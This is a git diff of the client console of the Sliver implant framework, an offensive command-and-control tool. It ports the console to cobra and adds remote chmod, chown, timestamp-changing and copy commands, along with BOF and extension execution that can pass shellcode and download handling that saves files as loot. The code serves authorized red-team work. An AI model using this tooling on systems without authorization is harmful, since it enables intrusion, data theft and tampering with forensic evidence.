@@ -352,7 +342,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("BOF args error: %s\n", err)
|
||||
return
|
||||
@@ -361,20 +351,20 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extArgs := strings.Join(args, " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
msg := fmt.Sprintf("Executing %s ...", cmd.Name())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -401,62 +391,82 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// PrintExtOutput - Print the ext execution output
|
||||
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
|
||||
if extName == commandName {
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
con.PrintInfof("Successfully executed %s", extName)
|
||||
} else {
|
||||
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
|
||||
con.PrintInfof("Successfully executed %s (%s)", commandName, extName)
|
||||
}
|
||||
if 0 < len(string(callExtension.Output)) {
|
||||
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
|
||||
con.PrintInfof("Got output:\n%s", callExtension.Output)
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", callExtension.Response.Err)
|
||||
con.PrintErrorf(callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Parse BOF arguments from grumble
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
// If we don't have any positional words left to consume,
|
||||
// add the remaining required extension arguments in the
|
||||
// error message.
|
||||
if len(args) == 0 {
|
||||
if !arg.Optional {
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Else pop a word from the list
|
||||
word := args[0]
|
||||
args = args[1:]
|
||||
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
err = argsBuffer.AddString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
err = argsBuffer.AddWString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
data, err := os.ReadFile(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -466,6 +476,12 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Return if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -491,15 +507,89 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
// CmdExists - checks if a command exists
|
||||
func CmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
func CmdExists(name string, cmd *cobra.Command) bool {
|
||||
for _, c := range cmd.Commands() {
|
||||
if name == c.Name() {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
|
||||
func checkExtensionArgs(extCmd *ExtensionManifest) error {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
for _, arg := range extCmd.Arguments {
|
||||
switch arg.Type {
|
||||
case "int", "integer", "short":
|
||||
case "string", "wstring", "file":
|
||||
default:
|
||||
return fmt.Errorf("invalid argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
|
||||
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("extension data")
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
if arg.Optional {
|
||||
usage += " (optional)"
|
||||
}
|
||||
|
||||
actions = append(actions, action.Usage(usage))
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
var all []string
|
||||
|
||||
// Only add filters for architectures when there OS matters.
|
||||
for _, file := range extCmd.Files {
|
||||
filtersOS[file.OS] = true
|
||||
|
||||
if filtersOS[file.OS] {
|
||||
filtersArch[file.Arch] = true
|
||||
}
|
||||
}
|
||||
|
||||
for os, enabled := range filtersOS {
|
||||
if enabled {
|
||||
all = append(all, os)
|
||||
}
|
||||
}
|
||||
|
||||
for arch, enabled := range filtersArch {
|
||||
if enabled {
|
||||
all = append(all, arch)
|
||||
}
|
||||
}
|
||||
|
||||
if len(all) == 0 {
|
||||
return map[string]string{}
|
||||
}
|
||||
|
||||
return map[string]string{
|
||||
appConsole.CommandFilterKey: strings.Join(all, ","),
|
||||
}
|
||||
}
|
||||
@@ -25,15 +25,16 @@ import (
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsRemoveCmd - Remove an extension
|
||||
func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
@@ -62,7 +63,6 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
|
||||
@@ -27,24 +27,27 @@ import (
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
var filePath string
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
@@ -53,8 +56,9 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
RestrictedToFile: true,
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -69,24 +73,23 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootType := ctx.Flags.String("type")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
@@ -100,26 +103,18 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootType, err := loot.ValidateLootType(userLootType)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
// Even if the loot type is bad, we can still print the result to the screen
|
||||
// We will not loot it though
|
||||
lootDownload = false
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
|
||||
loot.LootDownload(download, lootName, fileType, cmd, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
if ctx.Flags.Bool("hex") {
|
||||
if phex, _ := cmd.Flags().GetBool("hex"); phex {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
|
||||
@@ -21,24 +21,29 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
filePath := "."
|
||||
if len(args) == 1 {
|
||||
filePath = args[0]
|
||||
}
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ChmodCmd - Change the permissions of a file on the remote file system
|
||||
func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
fileMode := args[1]
|
||||
|
||||
if fileMode == "" {
|
||||
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
|
||||
return
|
||||
}
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
|
||||
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
FileMode: fileMode,
|
||||
Recursive: recursive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chmod.Response != nil && chmod.Response.Async {
|
||||
con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chmod)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChmod(chmod, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chmod.Response)
|
||||
} else {
|
||||
PrintChmod(chmod, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChmod - Print the chmod response
|
||||
func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
|
||||
if chmod.Response != nil && chmod.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chmod.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chmod.Path)
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ChownCmd - Change the owner of a file on the remote file system
|
||||
func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
uid := args[1]
|
||||
|
||||
if uid == "" {
|
||||
con.PrintErrorf("Missing parameter: user id\n")
|
||||
return
|
||||
}
|
||||
|
||||
gid := args[2]
|
||||
|
||||
if gid == "" {
|
||||
con.PrintErrorf("Missing parameter: group id\n")
|
||||
return
|
||||
}
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
|
||||
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: recursive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chown.Response != nil && chown.Response.Async {
|
||||
con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chown)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChown(chown, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chown.Response)
|
||||
} else {
|
||||
PrintChown(chown, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChown - Print the chown response
|
||||
func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
|
||||
if chown.Response != nil && chown.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chown.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chown.Path)
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Copyright (C) 2023 b0yd
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system
|
||||
func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
atime := args[1]
|
||||
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := args[2]
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if chtimes.Response != nil && chtimes.Response.Async {
|
||||
con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, chtimes)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintChtimes(chtimes, con)
|
||||
})
|
||||
con.PrintAsyncResponse(chtimes.Response)
|
||||
} else {
|
||||
PrintChtimes(chtimes, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintChtimes - Print the Chtimes response
|
||||
func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
|
||||
if chtimes.Response != nil && chtimes.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", chtimes.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", chtimes.Path)
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) != 2 {
|
||||
con.PrintErrorf("Please specify a source and destination filename.\n")
|
||||
return
|
||||
}
|
||||
|
||||
src := args[0]
|
||||
dst := args[1]
|
||||
|
||||
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cp.Src, cp.Dst = src, dst
|
||||
|
||||
if cp.Response != nil && cp.Response.Async {
|
||||
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(cp.Response)
|
||||
} else {
|
||||
PrintCp(cp, con)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
|
||||
if cp.Response != nil && cp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
|
||||
}
|
||||
@@ -28,31 +28,33 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
remotePath := args[0]
|
||||
recurse, _ := cmd.Flags().GetBool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
RestrictedToFile: false,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -67,13 +69,12 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
HandleDownloadResponse(download, cmd, args, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
HandleDownloadResponse(download, cmd, args, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func prettifyDownloadName(path string) string {
|
||||
@@ -104,7 +105,7 @@ func prettifyDownloadName(path string) string {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
